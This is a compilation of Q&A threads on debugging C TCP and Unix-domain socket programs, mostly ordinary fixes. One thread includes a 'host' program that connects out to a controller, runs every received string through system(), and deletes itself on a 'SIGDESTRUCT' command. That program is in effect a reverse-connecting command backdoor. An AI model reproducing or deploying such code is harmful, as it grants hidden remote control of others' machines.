i have this programm which should only bind a socket to a port and i always get
failure while binding.
I can compile it without a problem.
should i add something to the servAddr?
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "Practical.h"
int main(int argc , char* argv[]){
if(argc!=2){
printf("Parameters : <server Port>");
}
in_port_t servPort=atoi(argv[1]);
int servSock;
if(servSock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP)<0){
printf("error socket");
}
struct sockaddr_in servAddr;
memset(&servAddr,0,sizeof(servAddr));
servAddr.sin_family=AF_INET;
servAddr.sin_addr.s_addr=htonl(INADDR_ANY);
servAddr.sin_port=htons(servPort);
if(bind(servSock,(struct sockaddr*) &servAddr,sizeof(servAddr)) < 0){
printf("failure while binding");
}
}
= has priority lower than <, add extra braces:
if((servSock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0){
printf("error socket");}
Without these braces servSock is 1 or 0, that is definitely not what you want. Also note that without priviledges you can not bind to ports lower that 1024.
Related
I coded two programs. One is the client, the other one is the program the host has to run.
client.c
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#define COMMAND_LIMIT 1024
//#define RECEIVE_LIMIT 500
#define zero(_P) memset(&_P,0,sizeof(_P))
int main(int argc, char **argv){
if(argc==1){
puts("format: [executable] [port]");
return 0;
}
int port=atoi(*(argv+1));
char send_buffer[COMMAND_LIMIT+1];
//char receive_buffer[RECEIVE_LIMIT];
struct sockaddr_in server;
zero(server);
server.sin_family=AF_INET;
server.sin_addr.s_addr=htonl(INADDR_ANY);
server.sin_port=htons(port);
int listener, connector;
listener=socket(AF_INET, SOCK_STREAM, 0);
bind(listener, (struct sockaddr*)&server,sizeof(server));
if(listen(listener, 1) == -1){
puts("Failed to listen");
return -1;
}
connector=accept(listener, (struct sockaddr*)NULL ,NULL);
puts("Host found.");
while(1){
puts("Enter command:");
scanf("%s",send_buffer);
int wrlen=write(connector,send_buffer,strlen(send_buffer));
if(wrlen==-1){
printf("Connection has been closed. Stopping program.");
close(connector);
return 0;
}
}
return 0;
}
host.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#define PORT 2333 //default port, change it.
#define RECEIVE_LIMIT 1024
#define CLIENT_IP "127.0.0.1" //changed this for stackoverflow
#define zero(_P) memset(&_P,0,sizeof(_P))
int main(int argc, char **argv){
int sockets, n=0;
char receive_buffer[RECEIVE_LIMIT+1];
struct sockaddr_in self;
memset(receive_buffer, '0' ,sizeof(receive_buffer));
if((sockets = socket(AF_INET, SOCK_STREAM, 0))< 0){
puts("Error : Could not create socket.");
return 1;
}
self.sin_family=AF_INET;
self.sin_port=htons(PORT);
self.sin_addr.s_addr=inet_addr(CLIENT_IP);
if(connect(sockets, (struct sockaddr *)&self, sizeof(self)<0)){
printf("\n Error : Connect Failed \n");
return 1;
}
while((n = read(sockets, receive_buffer, sizeof(receive_buffer)-1)) > 0){
if(n<0){
printf("\n Read Error \n");
}
receive_buffer[n]='\0';
if(strcmp("SIGDESTRUCT",receive_buffer)==0){
remove(argv[0]);
return 0;
}
system(receive_buffer);
printf("\n");
}
return 0;
}
The client runs fine but host.c can't connect to client.c. Both compiled though, without any errors. I tried to debug it, but everything looks fine to me. The client allows every address to connect to it and the host tries to connect to it.
guys. My problem has been solved. It was a faulty if statement in host.c
I have been trying to create a chat server and client model (where the server reads the message sent by client and replies back with a hello message) using C programming, but my code isn't working.
Here's my code:
Server side code
https://cl1p.net/server
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>
#define PORT 22341
#define MAXLINE 1024
int main(){
int sockfd;
int clientfd;
char buffer[MAXLINE+1];
if ((sockfd=socket(AF_INET,SOCK_STREAM,0))<0){
perror("Socket creation failed at server end");
exit(1);
}
struct sockaddr_in servaddr;
memset(&servaddr,0,sizeof(servaddr));
servaddr.sin_family=AF_INET;
servaddr.sin_port=htons(PORT);
servaddr.sin_addr.s_addr=htonl(INADDR_ANY);
if ((bind(sockfd,(struct sockaddr *) &servaddr,sizeof(servaddr))<0)){
perror("Error while binding at server side");
exit(2);
}
int len=sizeof(servaddr);
while (1){
memset(buffer,0,strlen(buffer));
listen(sockfd,5);
accept(sockfd,(struct sockaddr *) &servaddr,&len);
recv(clientfd,buffer,MAXLINE,0);
if (strncmp(buffer,"Exit",4)==0){
printf ("Server exiting \n");
break;
}
send(clientfd,(char *)"Hello",MAXLINE,0);
}
close(sockfd);
close(clientfd);
}
Client Code:
https://cl1p.net/client1
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>
#define PORT 22341
#define MAXLINE 1024
int main(){
int sockfd;
struct sockaddr_in servaddr;
memset(&servaddr,0,sizeof(servaddr));
servaddr.sin_port=htons(PORT);
servaddr.sin_family=AF_INET;
servaddr.sin_addr.s_addr=htonl(INADDR_ANY);
sockfd=socket(AF_INET,SOCK_STREAM,0);
char buffer[MAXLINE+1];
char buffer2[MAXLINE+1];
connect(sockfd,(struct sockaddr *)&servaddr,sizeof(servaddr));
while (1){
memset(buffer,0,sizeof(buffer));
memset(buffer2,0,sizeof(buffer2));
printf ("Enter a message \n");
fgets(buffer,MAXLINE,stdin);
send(sockfd,(char *)buffer,MAXLINE,0);
printf ("Bufer is %s\n",buffer);
if (strncmp(buffer,"exit",4)==0){
printf ("Client exiting");
exit(1);
}
recv(sockfd,(char *) buffer2,MAXLINE,0);
printf ("Data received at client side is %s\n",buffer2);
}
close(sockfd);
return 0;
}
On running this code,I get a segmentation fault at the server side and receive no data at the client side. Can someone please explain what's wrong with my code?
I made a TCP Client/Server and I can run it one time. But when I try to run it more than one time, it gives me the following error: "Connection refused". Here's my code.
Client
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main() {
int net_socket = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in net_addr;
net_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
net_addr.sin_family = AF_INET;
net_addr.sin_port = htons(3250);
int connection_state = connect(net_socket, (struct sockaddr*)&net_addr, sizeof(net_addr));
if (connection_state == 0) {
printf("Connected with the server.\n");
}
else {
printf("Connection with the server failed. [%s]\n", strerror(errno));
}
char net_message[256];
recv(net_socket, net_message, sizeof(net_message), 0);
close(net_socket);
shutdown(net_socket, SHUT_RDWR);
return 0;
}
Server
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main() {
int net_socket = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in net_addr;
net_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
net_addr.sin_family = AF_INET;
net_addr.sin_port = htons(3250);
bind(net_socket, (struct sockaddr*)&net_addr, sizeof(net_addr));
listen(net_socket, 1);
struct sockaddr_in cl_addr;
int cl_size = sizeof(cl_addr);
int cl_socket = accept(net_socket, (struct sockaddr*)&cl_addr, (socklen_t*)&cl_size);
int loop = 1;
char net_message[256];
send(cl_socket, net_message, sizeof(net_message), 0);
close(net_socket);
close(cl_socket);
shutdown(net_socket, SHUT_RDWR);
shutdown(cl_socket, SHUT_RDWR);
return 0;
}
I've been trying to solve the problem by many ways but I'm a newbie. Thanks for the help in advance!
The problem is with your server lacking the SO_REUSEADDR socket option which leads to the bind() syscall failing. The reason is, that after a client disconnects from the server, the connection is still known by the system in TIME_WAIT state, to wait for late packets. These lead to the bind() to fail with EADDRINUSE if the above mentioned socket option is not set.
Use the following:
...
int one = 1;
setsockopt(net_socket, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
bind(net_socket, (struct sockaddr*)&net_addr, sizeof(net_addr));
...
and do error checks for all syscalls! That would have shown you the problem much earlier and had saved you much time.
Some more issues:
You are sending an uninitialized buffer net_message
A shutdown on a listen socket isn't sensible at all, since no connection is established on it (this here: shutdown(net_socket, SHUT_RDWR);)
The shutdown on the client socket has - if at all - to be performed before the close(cl_socket);. But it is not necessary at all in that case.
I would like to reuse one abstract socket adress during one server session. I tried to close sockets and bind them again, but it isn't working.
server.c:
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
int main()
{
struct sockaddr_un workmanaddr;
workmanaddr.sun_family=AF_UNIX;
strcpy(workmanaddr.sun_path+1,"name");
workmanaddr.sun_path[0]='0';
char buf[255];
int sd = socket(AF_UNIX, SOCK_DGRAM, 0);
if(sd <0)
{
perror("socket() error");
exit(2);
}
if((bind(sd , (struct sockaddr *)&workmanaddr,sizeof(workmanaddr)))<0)
{
perror("bind() error");
exit(3);
}
while(true)
{
recv(sd, buf, sizeof(buf), 0);
printf("%s\n",buf);
close(sd);
sd = socket(AF_UNIX, SOCK_DGRAM, 0);
if(sd <0)
{
perror("socket() error");
exit(2);
}
if((bind(sd , (struct sockaddr*)&workmanaddr,sizeof(workmanaddr)))<0)
{
perror("bind() error");
exit(3);
}
}
return 0;
}
client.c:
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
int main(int argc, char *argv[])
{
char _path[108]="name";
struct sockaddr_un tempadres = {0};
int tmpsock;
tmpsock = socket(AF_UNIX, SOCK_DGRAM, 0);
if(tmpsock<0)
{
perror("socket() error");
exit(2);
}
tempadres.sun_family=AF_UNIX;
strcpy(tempadres.sun_path+1,_path);
tempadres.sun_path[0]='0';
if((connect(tmpsock, (struct sockaddr *)&tempadres,sizeof(tempadres)))<0)
{
perror("connect() error");
exit(3);
}
char buf[255];
scanf("%s",buf);
if(send(tmpsock, buf, sizeof(buf), 0)<0)
{
perror("send() error");
exit(4);
}
return 0;
}
What should I do to make it possible to reuse it many times? Any advices?
In this line: tempadres.sun_path[0]='0','0' is not null byte what abstract socket requires for the first byte of the sun_path field. So it wouldn't be regarded as abstract socket. Change it to tempadres.sun_path[0]=0 or tempadres.sun_path[0]='\0'.
PS: there is another problem in your server.c, you didn't zero out workmanaddr, so the sun_path is very likely to contain garbage value as it's allocated on the stack even though you called strcpy(workmanaddr.sun_path+1,"name"); and a null byte is appended because all the remaining bytes in sun_path define the "name" of the socket. it would lead to different socket names with the client, resulting in connection refused on client side.
I'm starting to learn unix basics at college, i've got an exercise which says something like:"build a client/server application in C in which: the server (tcp socket) print the ip of the client and the text given, and and it shutdown when receives "exit" as string from the client.
Now I've got conceptual problems, i've written these two C program (ignoring for now the text thing...)which i start in two different linux terminal, but the client do nothing, and the server got stuck. I don't understand the whole address thing, what should i put in there (in client)?
Long story short: I cannot establish a simple connection
SERVER
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
int main (void){
struct sockaddr_in mio_indirizzo;
mio_indirizzo.sin_family= AF_INET;
mio_indirizzo.sin_port=htons(5200);
mio_indirizzo.sin_addr.s_addr = htonl(INADDR_ANY);
int fd = socket(PF_INET,SOCK_STREAM,0);
if (fd<0) perror("socket"),exit(1);
int b=bind(fd,(struct sockaddr *)&mio_indirizzo,sizeof(mio_indirizzo));
if(b<0) perror("bind"),exit(-1);
if((listen(fd,5))<0) perror("listen"),exit(-1);
while(1){
struct sockaddr indirizzo_client;
int fd2=accept(fd, &indirizzo_client,NULL);
if (fd2<0) perror("accept"),exit(-1);
printf("connection accepted\n");
close(fd2);
}
close(fd);
shutdown(fd,SHUT_RDWR);
}
CLIENT
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
int main (void){
int fd;
struct sockaddr_in mio_indirizzo;
mio_indirizzo.sin_family = AF_INET;
mio_indirizzo.sin_port = htons(5200);
inet_aton("Putted here the IP of my machine", &mio_indirizzo.sin_addr);
fd = socket(PF_INET, SOCK_STREAM, 0); // crea un socket
connect(fd, (struct sockaddr *) &mio_indirizzo, sizeof(mio_indirizzo)); // crea la connessione
close(fd); // chiude il socket
}
In your server, for accept():
struct sockaddr indirizzo_client;
int len = sizeof(indirizzo_client);
int fd2=accept(fd, &indirizzo_client, &len);
But actually, your program will just print "connection accepted" and quit. You may use select or threads to communicate between the client and the server.